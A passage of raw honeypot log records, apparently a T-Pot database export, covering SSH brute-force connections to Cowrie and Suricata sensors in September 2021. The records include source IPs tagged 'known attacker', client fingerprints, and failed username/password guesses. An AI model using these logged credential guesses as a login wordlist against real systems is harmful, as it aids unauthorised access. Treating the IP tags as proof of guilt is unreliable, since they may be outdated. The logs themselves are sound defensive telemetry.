"ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a48fc538d843", "@version": "1", "timestamp": "2021-09-20T11:11:21.121473Z", "@timestamp": "2021-09-20T11:11:21.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26267	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:21.207999+03	2021-09-20 14:15:13.050645+03	{"_id": "ogbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "73c88146d84f", "@version": "1", "timestamp": "2021-09-20T11:11:21.207999Z", "@timestamp": "2021-09-20T11:11:21.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26701	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:12:37.963455+03	2021-09-20 14:15:13.616646+03	{"_id": "OgboAnwBvYTbRNuEayI8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "cc3285b20190", "@version": "1", "duration": 2.1598033905029297, "timestamp": "2021-09-20T11:12:37.963455Z", "@timestamp": "2021-09-20T11:12:37.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26268	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:21.527734+03	2021-09-20 14:15:13.051646+03	{"_id": "owbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7976840379d8", "@version": "1", "duration": 3.010507345199585, "timestamp": "2021-09-20T11:11:21.527734Z", "@timestamp": "2021-09-20T11:11:21.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26269	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:11:21.121202+03	2021-09-20 14:15:13.052646+03	{"_id": "pAbnAnwBvYTbRNuEQB5e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:20.481314+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1790}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 78395708299298, "payload": "AAAI7AYUIDG618ofm18HGhfjYGk6sAAAAcpjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGN1cnZlNDQ4LXNoYTUxMixlY2RoLXNoYTItbmlzdHA1MjEsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItMS4zLjEzMi4wLjEwLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGExLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMjU2LGRpZmZpZS1oZWxsbWFuLWdyb3VwMTUtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTctc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMSxyc2EyMDQ4LXNoYTI1Nixyc2ExMDI0LXNoYTEsZXh0LWluZm8tYwAAAbVzc2gtZWQyNTUxOS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZWQ0NDgtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDUyMS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHAyNTYtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi0xLjMuMTMyLjAuMTAtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLXJzYS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZHNzLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1lZDI1NTE5LHNzaC1lZDQ0OCxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLTEuMy4xMzIuMC4xMCxyc2Etc2hhMi0yNTYscnNhLXNoYTItNTEyLHNzaC1yc2Esc3NoLWRzcwAAAM1jaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMsYmxvd2Zpc2gtY2JjLGNhc3QxMjgtY2JjLGFyY2ZvdXIyNTYsYXJjZm91cjEyOCxhcmNmb3VyAAAAzWNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczI1Ni1nY21Ab3BlbnNzaC5jb20sYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxhZXMyNTYtY3RyLGFlczE5Mi1jdHIsYWVzMTI4LWN0cixhZXMyNTYtY2JjLGFlczE5Mi1jYmMsYWVzMTI4LWNiYywzZGVzLWNiYyxibG93ZmlzaC1jYmMsY2FzdDEyOC1jYmMsYXJjZm91cjI1NixhcmNmb3VyMTI4LGFyY2ZvdXIAAAGtdW1hYy02NC1ldG1Ab3BlbnNzaC5jb20sdW1hYy0xMjgtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGht", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36032, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:21.121202Z", "@timestamp": "2021-09-20T11:11:21.121Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...... 1....._....`i:.....curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c....ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hm"}}	1	\N	\N	alert	\N	\N
26270	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:21.962172+03	2021-09-20 14:15:13.054647+03	{"_id": "pgbnAnwBvYTbRNuEQh4V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admIndian/admIndian] failed", "session": "73c88146d84f", "@version": "1", "password": "admIndian", "username": "admIndian", "timestamp": "2021-09-20T11:11:21.962172Z", "@timestamp": "2021-09-20T11:11:21.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26271	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:11:24.311332+03	2021-09-20 14:15:13.055646+03	{"_id": "uQbnAnwBvYTbRNuESR7o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [dev/qwerty] failed", "session": "da69a67ec34a", "@version": "1", "password": "qwerty", "username": "dev", "timestamp": "2021-09-20T11:11:24.311332Z", "@timestamp": "2021-09-20T11:11:24.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26272	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:25.36723+03	2021-09-20 14:15:13.056646+03	{"_id": "vAbnAnwBvYTbRNuETR7R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1b5d2c28b624", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:25.367230Z", "@timestamp": "2021-09-20T11:11:25.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26273	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:25.492793+03	2021-09-20 14:15:13.057646+03	{"_id": "vwbnAnwBvYTbRNuETR7R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1b5d2c28b624", "@version": "1", "timestamp": "2021-09-20T11:11:25.492793Z", "@timestamp": "2021-09-20T11:11:25.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26284	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:33.340039+03	2021-09-20 14:15:13.071646+03	{"_id": "GAbnAnwBvYTbRNuEbR8b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:48802 (192.168.176.2:22) [session: 33e3c13c5e71]", "session": "33e3c13c5e71", "@version": "1", "protocol": "ssh", "src_port": 48802, "dest_port": 22, "timestamp": "2021-09-20T11:11:33.340039Z", "@timestamp": "2021-09-20T11:11:33.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26274	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:11:30.420371+03	2021-09-20 14:15:13.058646+03	{"_id": "_QbnAnwBvYTbRNuEZB6t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 